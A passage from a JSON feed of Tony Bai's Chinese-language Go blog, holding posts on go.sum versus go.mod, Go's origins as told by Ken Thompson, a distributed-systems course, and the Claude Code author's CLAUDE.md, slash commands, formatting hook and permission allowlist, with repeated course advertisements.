href=\"https://tonybai.com/2026/01/07/stop-vibe-coding-professional-developers-master-coding-agent-2025\"\u003ehttps://tonybai.com/2026/01/07/stop-vibe-coding-professional-developers-master-coding-agent-2025\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在社交媒体上，我们经常看到这样的神话：“我用 AI Agent，只凭感觉（Vibe）就写出了整个应用，甚至不需要看代码。” 这种被称为“Vibe Coding”的现象真的代表了专业开发的未来吗？\u003c/p\u003e","title":"别再“Vibe Coding”了：2025 年专业开发者是如何驾驭 Coding Agent的？"},{"content":"别再盯着 go.sum 看了：它不是你想象中的那个 Lockfile - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n别再盯着 go.sum 看了：它不是你想象中的那个 Lockfile 一月 6, 2026 0 条评论 本文永久链接 – https://tonybai.com/2026/01/06/go-sum-is-not-a-lockfile\n大家好，我是Tony Bai。\n“我需要大家停止查看 go.sum，尤其是别用它来分析依赖图。它不是一个‘锁文件 (lockfile)’，它对版本解析没有任何语义影响。实际上，你根本没有理由去解析它。”\n—— Filippo Valsorda, 前 Go 安全团队负责人\n在很多其他编程语言的生态中，开发者习惯了“清单文件 (Manifest)”与“锁文件 (Lockfile)”的二元对立（如 package.json vs package-lock.json，Cargo.toml vs Cargo.lock）。这种思维定势很容易让我们误以为 Go 中的 go.sum 就是那个负责锁定版本的 Lockfile。\n然而，前Go安全团队负责人Filippo Valsorda 在他最新的文章中大声疾呼：这是一个巨大的误解。\n误解澄清：go.sum 到底是什么？ 简单来说，go.sum 只是 Go 校验和数据库 (Checksum Database) 的一个本地缓存。\n它的内容：它是Go模块版本与其加密哈希值的映射表。 它的作用：纯粹为了安全。它确保你下载的某个模块版本（无论来自哪里），其内容与全球 Go 生态系统中其他人下载的内容完全一致。 它的局限：它可能包含即使在构建中未被使用的模块版本的哈希；它不参与包的解析过程；它的存在与否甚至不影响构建的语义结果（最初设计时它甚至不是默认开启的！）。 如果你在试图分析项目的依赖关系、排查版本冲突，或者理解构建过程，请忽略 go.sum。它给不了你想要的答案。\n真相揭秘：go.mod 才是真正的 MVP 在 Go 的设计中，go.mod 承担了其他语言中 Manifest 和 Lockfile 的双重角色，甚至更多。\n它是清单 (Manifest)：列出了直接依赖。 它是锁文件 (Lockfile)： * 它列出了所有依赖（直接和间接）的精确版本。 * 自 Go 1.17 起，它包含了一个完整的依赖图剪枝，列出了构建主模块及其测试所需的所有传递依赖。 * 语义化版本控制 (SemVer) 是默认假设，go.mod 中列出的版本不仅是当前使用的版本，也是依赖图中所有模块的**最小版本(mvs)**要求。 Go 模块设计的优雅之处 Filippo 指出，Go 模块系统的设计在简洁性上被大大低估了。与其他生态系统相比，Go 实现了令人惊叹的特性：\n单一事实来源：一切都在一个人类可读的 go.mod 文件中。 无“钻石依赖”地狱：Go 的最小版本选择 (MVS) 算法优雅地解决了依赖冲突。 自动化管理：所有 go 命令都能自动维护 go.mod。go mod tidy 更是保持依赖整洁的神器。 可预测性：不会意外引入一个你的下游用户还没拥有的新特性；添加依赖时，也不会自动升级其所有传递依赖到最新版（从而引入潜在的不稳定因素）。 小结 下次当你想要了解项目的依赖结构时，请直接查看 go.mod。\n或者，使用更专业的工具：\n解析 go.mod 文件（使用 golang.org/x/mod/modfile）。 运行 go mod edit -json 获取 JSON 格式。 使用 go list -m all 查看最终的构建列表。 至于 go.sum？就让它静静地呆在那里，做它该做的事——默默守护你的供应链安全，仅此而已。\n资料链接：https://words.filippo.io/gosum/\n你的 go.sum 烦恼\n虽然 go.sum 只是个校验和缓存，但在多人协作中，它依然是冲突的高发区。你在合并代码时，是否也曾被 go.sum 的冲突搞得头大？你现在的团队是如何处理这些冲突的？\n欢迎在评论区分享你的“填坑”经历！ 让我们一起更从容地驾驭 Go Modules。\n如果这篇文章帮你纠正了一个长期的误解，别忘了点个【赞】和【在看】，并转发给那个还在手动修 go.sum 的同事！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/06/go-sum-is-not-a-lockfile/","summary":"\u003ch1 id=\"别再盯着-gosum-看了它不是你想象中的那个-lockfile---tony-bai\"\u003e别再盯着 go.sum 看了：它不是你想象中的那个 Lockfile - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"别再盯着 go.sum 看了：它不是你想象中的那个 Lockfile"},{"content":"耗时六个月，我为你画了一张通往“分布式架构师”的黄金地图 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n耗时六个月，我为你画了一张通往“分布式架构师”的黄金地图 一月 6, 2026 0 条评论 本文永久链接 – https://tonybai.com/2026/01/06/a-golden-map-to-distributed-architect\n大家好，我是Tony Bai。\n分布式系统的世界，就像一座没有路标的“黑暗森林”。\n当你刚从单体应用的舒适区走出来，踏入这片森林时，很容易感到迷茫：\n满眼都是CAP、BASE、Paxos、Raft这些晦涩的术语； 到处都是Redis、Kafka、etcd、TiDB这些复杂的组件； 你知道要“高可用”，也知道要“高性能”，但当两者冲突时，你不知道该往左走还是往右走。 市面上的资料汗牛充栋，但往往两极分化：要么是晦涩难懂的学院派论文，读完那是“从入门到放弃”；要么是碎片化的工具教程，教你配置了一百个参数，却没告诉你为什么要这么配。\n我们缺的不是知识点，而是一条清晰的、能够串联起所有知识的“路径”。\n在过去的六个月里，我推翻了无数次草稿，拜读了经典的分布式教程，查阅了大量的经典论文与工程源码，只做了一件事：\n为你绘制一张通往“分布式架构师”的黄金学习地图。\n这张地图，就是我这次要上线的微专栏——**《分布式系统：原理、哲学与实战》**的灵魂所在。\n这张“地图”长什么样？ 这门课不是知识点的堆砌，而是一场目标明确的探险。\n我不想教你死记硬背。我要带你回到原点，模拟一个系统从小到大的演进过程，让你亲历那些**“不得不做”**的架构决策。\n这是我为你规划的**“黄金路线图”**：\n沿着这条路线，我们将经历四个关键的里程碑：\n第一站：重塑世界观 我们首先要打破单体思维的幻想。在这个阶段，你将学会**“拥抱失败”**。\n为什么说**“物理时钟是不可靠的幻象”**？ 为什么在分布式世界里，**“不确定性”**才是唯一的确定？ 我们将建立起一套全新的系统模型，这是你在这片森林里生存的法则。 第二站：掌握生存技能 为了让系统活下去并壮大，你需要两把武器：复制与分区。\n主从 vs 无主： 是选择“权威中心”的效率，还是“民主联邦”的韧性？ 分区的陷阱： 一致性哈希是如何优雅地解决扩容时的“数据风暴”的？ 逻辑时间： 当物理时间失效时，我们将学习如何用 Lamport 时钟 和 向量时钟 来重建因果秩序。 第三站：攀登理论高峰 这是旅途中最艰难、但也最精彩的一段。我们将正面挑战分布式事务与共识。\n从理想 到 实用： 我们将看清 2PC 的脆弱，并转而拥抱 SAGA 和 TCC 的柔性智慧。 共识的皇冠： 我们将拆解晦涩的 Paxos，并深入 Raft 的内核。最硬核的是，在第 11 讲，我将带你用 Go 语言亲手实现一个迷你版的 Raft 共识引擎。代码，是检验真理的唯一标准。 第四站：眺望未来 当你站在山顶，视野将不再局限于数据中心。\n我们将剖析Bluesky背后的去中心化协议 ATProto，看它是如何构建下一代去中心化社交网络的。 我们将探索 CRDTs，看“乐观”的数学魔法如何解决实时协作难题。 为什么要在“Vibe Coding”时代学这个？ 既然 AI 已经能帮我们写代码了，为什么还要啃这些硬骨头？\n因为 AI 擅长“实现”，但只有你懂“权衡”。\nAI 可以帮你写一个 Raft 的 AppendEntries 函数，但它无法告诉你，在你的业务场景下，到底该选 Raft 还是选 Gossip？ AI 可以帮你生成 SAGA 的代码模板，但它无法决定，在这个环节失败时，是应该重试还是应该补偿？ 这些关于 “Why” 和 “Trade-off（权衡）” 的智慧，构成了系统的设计哲学。\n这就是本专栏最大的特色： 我们不只讲原理（How），更讲哲学（Why），并最终落脚于实战（Code）。\n适合谁？ Go 语言开发者： 专栏中的所有代码示例（包括 Raft 实现）均采用 Go 语言编写，契合度满分。 后端工程师： 想要跳出 CRUD 的泥潭，建立完整的分布式知识体系。 架构师预备役： 需要在复杂业务场景下做技术选型，渴望提升架构思维。 现在启程\n这张地图我已经画好了，路标也已插好。\n这可能不是一条轻松的路，但我保证，这绝对是一条风景最壮丽、收获最丰厚的路。\n耗时六个月的心血之作，现在，我把它交付给你。\n扫描下方二维码，订阅专栏，领取你的“架构师地图”\n互动话题\n在你的分布式开发生涯中，踩过最深的一个“坑”是什么？是数据不一致？是脑裂？还是不知如何选型？欢迎在评论区留言分享，我们在专栏里见！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/06/a-golden-map-to-distributed-architect/","summary":"\u003ch1 id=\"耗时六个月我为你画了一张通往分布式架构师的黄金地图---tony-bai\"\u003e耗时六个月，我为你画了一张通往“分布式架构师”的黄金地图 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"耗时六个月，我为你画了一张通往“分布式架构师”的黄金地图"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/05/how-ken-thompson-developed-go-language-at-google.\n大家好，我是Tony Bai。\n为什么 Go 语言极其痛恨复杂的特性？为什么 Go 如此执着于编译速度？我们常说 Go 是一门“工程实用主义”的语言，它的设计哲学是“少即是多”。但你是否想过，这种近乎偏执的简洁，究竟是为了对抗什么？\n这一切的答案，都藏在 2007 年 Google 内部的一场 C++ 标准委员会汇报演讲中。当图灵奖得主 Ken Thompson 发现自己竟然“看不懂”新的 C++ 特性时，一颗变革的种子就此埋下。\n最近，我重温了这段 Ken Thompson（Unix 之父、Go 语言联合创始人）的珍贵访谈。在访谈中，老爷子毫无保留地讲述了 Go 语言诞生的前因后果。 故事的起点，并非某次高瞻远瞩的战略规划，而是一次**“听不懂”**的 C++ 技术分享，以及 Google 内部那令人绝望的 45 分钟编译时间。\n本文基于 Ken Thompson 的访谈实录，带你回到那个决定性的瞬间，还原 Go 语言诞生背后的真实故事。\n压死骆驼的最后一根稻草：C++ 的“新特性” 故事发生在 2007 年左右。当时，Google 内部有一位 C++ 标准委员会（ANSI C++）的代表。\n有一天，这位代表刚开完标准会议回来，在 Google 内部做了一场技术分享，向大家介绍 C++ 即将引入的“新特性”（注：推测是指当时的 C++0x，即后来的 C++11 草案）。\nKen Thompson 就在台下。作为发明了 B 语言（C 语言的前身）并重写了 Unix 内核的宗师级人物，他在听完这场一小时的密集分享后，感受到的不是兴奋，而是困惑。\n“这所谓的‘新东西’，在我看来比语言本身还要大。”\n“那些关于指针的形式，除了指针之外还意味着其他东西……我告诉你，我没听懂。”\n想象一下，连 Ken Thompson 都直言自己“没听懂” C++ 的新特性，这说明了什么？\n在他看来，这些所谓的“改进”，只是在不断地堆砌复杂度。这场演讲成为了催化剂。Ken 回到办公室，找到了同样对现状不满的 Robert Griesemer 和 Rob Pike。\nKen 的不满在于语言的过度复杂，而 Rob Pike 的痛点则在于 Google 庞大的工程规模。\nGoogle 的工程噩梦：10 行代码与 500 万行编译 当时的 Google 面临着一个前所未有的工程挑战：Monorepo（单一代码仓库）的膨胀。\nKen 在访谈中描述了一个令人窒息的场景：\n“在 Google，你可以从任何源文件中引用库。你可能只写了一个 10 行的程序，但最终却需要处理 500 万行的编译量。”\n这不是夸张。由于缺乏严格的依赖管理和可见性控制，一个微小的依赖引入，可能会像滚雪球一样，将底层的庞大库（如 Protocol Buffers、基础库等）全部卷入编译过程。\n更糟糕的是，头文件（Header files）的包含机制导致了严重的重复劳动。\n“像最简单的库，可能会被加载和检查成百上千次。”\n虽然 Google 拥有当时世界上最强大的分布式编译集群（成百上千个 CPU 并行工作），虽然工程师们发明了各种缓存机制和 ifdef 技巧来避免重复包含，但物理定律是不可违背的。\n编译一个简单的程序，需要等待 15 分钟，甚至 45 分钟。\nRob Pike 对此深恶痛绝。这种低效的开发循环，正在扼杀 Google 工程师的创造力。\n三个火枪手与“一票否决权” 于是，在 Google 的一间办公室里，Ken Thompson、Rob Pike 和 Robert Griesemer 聚在了一起。\nKen 说出了那句改变历史的话：\n“What are we going to do about it? Let’s write a language.”（我们该怎么办？让我们写个语言吧。）\n这是一个完美的互补组合：\nRob Pike：深刻理解 Google 的工程痛点（依赖地狱、构建速度、大规模协作）。 Ken Thompson：拥有深厚的语言和编译器构建历史。 Robert Griesemer：被称为“瑞士军刀般的语言专家”，熟悉理论上存在的所有语言特性，是团队的理论百科全书。 在设计 Go 语言时，他们制定了一个残酷但有效的规则：全员同意原则。\n“我们必须都同意某个特性，它才能被加入。仅仅因为‘我想要这个特性’是不够的。”\n这个规则过滤掉了绝大多数“花哨但非必要”的特性。Go 语言之所以能保持如此干净、紧凑，正是因为这三位创始人在最初就把住了关口。\n遗产与未来 Ken Thompson 在 Go 语言开源并走上正轨后，逐渐淡出了核心开发。但他对 Go 的后续发展给予了极高的评价，特别是对标准库。\n“在我离开后，后来的人写了一套**极其出色（magnificent）**的标准库。”\n那之后，这位图灵奖得主在 Google 的工作中，几乎只使用 Go 语言，并且几乎只使用标准库。\n他对 Go 的评价朴实无华：\n“它很简单。任何人都可以在一小时内学会它。当你写代码时，它运行得足够快，给你即时的反馈。”\n小结 重读这段访谈，我们就能理解：\n为什么 Go 甚至不愿意引入三元运算符？ 为什么 Go 的依赖管理（Go Modules）对版本控制如此严格？ 为什么 Go 编译器宁愿牺牲一些优化也要保证极快的编译速度？ 因为 Go 从诞生的那一刻起，就是为了反抗 C++ 的过度复杂，和解决 Google 级别的工程规模问题。\n它不是为了在编程语言理论上创新，而是为了让像 Ken Thompson 和 Rob Pike 这样的工程师，不再需要在编译期等待 45 分钟，不再需要去猜测一段代码到底在通过指针玩什么花样。\nGo 的诞生，是工程实用主义对无节制复杂性的一次伟大胜利。\n资料链接：https://www.youtube.com/watch?v=NTrAISNdf70\n你的“编译等待”时刻\n45分钟的编译时间催生了Go语言。在你的开发生涯中，是否也经历过类似的“编译噩梦”？或者，你是否也曾被某些语言的“过度复杂”劝退过？\n欢迎在评论区分享你的故事！ 让我们一起致敬那些为了“简单”而努力的先驱。\n如果这篇文章让你对Go语言的设计哲学有了更深的理解，别忘了点个【赞】和【在看】，并转发给身边还在忍受漫长编译的朋友！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/05/how-ken-thompson-developed-go-language-at-google/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/how-ken-thompson-developed-go-language-at-google-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/05/how-ken-thompson-developed-go-language-at-google\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/05/how-ken-thompson-developed-go-language-at-google\"\u003ehttps://tonybai.com/2026/01/05/how-ken-thompson-developed-go-language-at-google\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e为什么 Go 语言极其痛恨复杂的特性？为什么 Go 如此执着于编译速度？我们常说 Go 是一门“工程实用主义”的语言，它的设计哲学是“少即是多”。但你是否想过，这种近乎偏执的简洁，究竟是为了对抗什么？\u003c/p\u003e","title":"Go 考古：图灵奖得主 Ken Thompson 亲述，Go 语言是如何在 C++ 的“废墟”上诞生的"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/05/claude-code-author-reveals-private-ai-coding-config\n大家好，我是Tony Bai。\n自从 Claude Code 发布以来，我和大家一样，都在探索这个“终端里的 AI 智能体”到底能爆发出多大的能量。\n就在昨天，Claude Code 的创造者、Anthropic 的核心工程师 Boris Cherny 在社交媒体上毫无保留地晒出了他自己的 Claude Code Setup（配置与工作流）。\n看完他的分享，我最大的感受是：英雄所见略同！\nBoris 的很多“私房技巧”，不仅验证了 AI 原生开发的高效性，更令人惊喜的是，其中 80% 的核心实践，竟然都与我的专栏《AI 原生开发工作流实战》中的教学内容完美印证。\n今天，我就带大家深度拆解一下这位“Claude Code 之父”的开发心法，结合他晒出的真实配置代码，看看Claude Code作者们都是如何驾驭 AI 的。\n心法一：多线程并发 —— 做 AI 的“指挥家” Boris 分享的第一个技巧就非常硬核：\n“I run 5 Claudes in parallel in my terminal… I also run 5-10 Claudes on claude.ai/code.”\n（我在终端里并行运行 5 个 Claude… 同时在网页端也运行 5-10 个。）\n这意味着什么？这意味着他把自己变成了一个“任务调度器”。\n这正是我们在专栏 “概念篇” 中反复强调的开发者角色转型：从“代码的生产者”转变为“工作流的指挥家”。\n在 Boris 的截图中，我们可以清晰地看到他正在运行多个独立的 Session，其中一个正在处理复杂的类型检查和构建任务：\nBash(bun run typecheck 2\u0026gt;\u0026amp;1 | head -100) Bash(bun run build:agent-sdk-typings \u0026amp;\u0026amp; tsc ...) # ... AI 正在自主修复类型错误 ... 在 AI 原生时代，我们的生产力不再受限于打字速度，而是受限于并发管理能力。你可以同时开启多个 Session：1 号 Claude 负责修 Bug，2 号 Claude 负责写测试，3 号 Claude 负责重构。你不再是自己在写代码，你是在指挥一个“虚拟团队”。\n心法二：上下文的艺术 —— 极简主义的 CLAUDE.md Boris 也晒出了他的 CLAUDE.md 文件。出乎意料的是，它非常简洁，没有任何冗余的废话。\nBoris 的 CLAUDE.md 真实代码：\n# Development Workflow **Always use bun, not npm.** ```sh # 1. Make changes # 2. Typecheck (fast) bun run typecheck # 3. Run tests bun run test -- -t \u0026#34;test name\u0026#34; # Single suite bun run test:file -- \u0026#34;glob\u0026#34; # Specific files # 4. Lint before committing bun run lint:file -- \u0026#34;file1.ts\u0026#34; # Specific files bun run lint # All files # 5. Before creating PR bun run lint:claude \u0026amp;\u0026amp; bun run test 这完美印证了我们在专栏 第 06 讲《上下文的艺术（上）：详解CLAUDE.md 与 AGENTS.md》 中的观点：CLAUDE.md 是 AI 的操作手册，必须精准、可执行。\n注意看他的第一句：Always use bun, not npm. —— 这是一个典型的“负向约束”。他在教 AI “做什么”的同时，更明确了“不做什么”，这能极大地减少 AI 犯错的概率。\n心法三：将经验“代码化” —— Slash Commands 与 Sub-agents Boris 提到他极度依赖 Slash Commands（斜杠指令） 和 Sub-agents（子智能体）：\n“I use slash commands for every ‘inner loop’ workflow… This saves me from repeated prompting.”\n（我把所有高频工作流都封装成了 Slash Commands，这让我免于重复写 Prompt。）\n他展示的 .claude/commands/ 目录结构简直就是我们专栏 第 08 讲 自定义指令：精通Slash Commands，打造你的私人命令集 的最佳教具：\n.claude/ commands/ build-validator.md # 专门负责构建验证的指令 code-architect.md # 专门负责架构设计的指令 agents/ code-simplifier.md # 一个专门负责简化代码的 Sub-agent verify-app.md # 一个专门负责全链路测试的 Sub-agent 他把“架构设计”、“代码简化”、“应用验证”这些复杂的脑力劳动，全部封装成了可一键调用的指令和专家分身。把你的经验变成代码，让 AI 替你执行经验，这才是高阶玩家的玩法。\n心法四：自动化收尾 —— Hooks 的妙用 这也是我最喜欢的一部分。Boris 展示了一个非常漂亮的 PostToolUse Hook 配置，用来解决代码格式化问题：\nBoris 的 settings.json 配置片段：\n\u0026#34;PostToolUse\u0026#34;: [ { \u0026#34;matcher\u0026#34;: \u0026#34;Write|Edit\u0026#34;, \u0026#34;hooks\u0026#34;: [ { \u0026#34;type\u0026#34;: \u0026#34;command\u0026#34;, \u0026#34;command\u0026#34;: \u0026#34;bun run format || true\u0026#34; } ] } ] 这段配置的含义是： 每当 AI 使用 Write 或 Edit 工具修改了文件后，立刻、自动执行 bun run format。\n他的逻辑非常清晰：AI 负责写逻辑，Hook 负责格式化。 AI 生成的代码可能有格式问题，但通过 Hook 自动运行 prettier 或 gofmt，就能解决这“最后的 10%”。\n这完全对应了我们专栏 第 11 讲《事件驱动：详解Hooks机制，让AI在关键节点自动触发》 的实战案例。我们当时也演示了如何用 Hook 实现 Go 代码的自动格式化，简直是异曲同工！\n心法五：安全第一 —— 拒绝 YOLO 最后，Boris 特别展示了他的权限配置搜索界面，并强调：\n“I don’t use –dangerously-skip-permissions. Instead, I use /permissions.”\n（我从不使用危险的跳过权限模式，而是使用权限白名单。）\n即使是工具的开发者本人，也对安全保持着绝对的敬畏。他展示的权限白名单列表（Allowlist）非常详细：\nBash(bq query:*) Bash(bun run build:*) Bash(bun run lint:*) Bash(bun run test:*) ... Bash(cc:*) Bash(comm:*) 他宁愿多花点时间把常用的 bun run、bq query 命令一条条加入白名单，也不愿意让 AI 在“裸奔”状态下运行。\n这也正是我们在 第 09 讲《安全基石（上）：用权限控制与沙箱为AI戴上“安全镣铐”》 中苦口婆心强调的：没有安全，就没有生产力。 盲目追求全自动（YOLO 模式），是在给未来埋雷。\n小结：未来已来，你准备好了吗？ 看完 Boris 的分享，我更加确信：我们正在经历一场软件工程范式的彻底重塑。\nBoris Cherny 是这个工具的创造者，他定义了“上限”；而我们作为使用者，需要通过系统的学习，去触达这个上限。\n如果你也想：\n像 Boris 一样，构建一套属于自己的 AI 驾驶舱； 掌握 Slash Commands 和 Hooks，让 AI 乖乖听话； 学会 SDD（规约驱动开发），让代码生成一次做对； 搭建 Headless 自动化流水线，让 AI 在你睡觉时也能干活… 那么，欢迎加入我的极客时间新专栏 《AI 原生开发工作流实战》。\n在这门课里，我不只会教你工具的用法，更会带你像 Boris 一样思考——如何用 AI 重塑你的开发习惯，成为新一代的“AI 架构师”。\n扫描下方二维码，让我们一起，站在巨人的肩膀上，开启 AI 原生开发之旅！\n(P.S. 专栏内容偏实战，以 Go 语言项目为例，但方法论通用于所有语言。Claude Code 也是一个刚刚诞生不到一年的新物种，我们都是探索者，期待在课程里与你交流碰撞！)\n资料链接：https://x.com/bcherny/status/2007179832300581177\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/05/httpstonybai-com20260105claude-code-author-reveals-private-ai-coding-config/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/claude-code-author-reveals-private-ai-coding-config-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/05/claude-code-author-reveals-private-ai-coding-config\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/05/claude-code-author-reveals-private-ai-coding-config\"\u003ehttps://tonybai.com/2026/01/05/claude-code-author-reveals-private-ai-coding-config\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e自从 Claude Code 发布以来，我和大家一样，都在探索这个“终端里的 AI 智能体”到底能爆发出多大的能量。\u003c/p\u003e\n\u003cp\u003e就在昨天，Claude Code 的创造者、Anthropic 的核心工程师 \u003cstrong\u003eBoris Cherny\u003c/strong\u003e 在社交媒体上毫无保留地\u003ca href=\"https://x.com/bcherny/status/2007179832300581177\"\u003e晒出了他自己的 \u003cstrong\u003eClaude Code Setup（配置与工作流）\u003c/strong\u003e\u003c/a\u003e。\u003c/p\u003e","title":"刚刚，Claude Code 作者曝光了自己的“私房”配置：原来顶尖高手是这样用 AI 写代码的！"},{"content":"\n本文永久链接 – 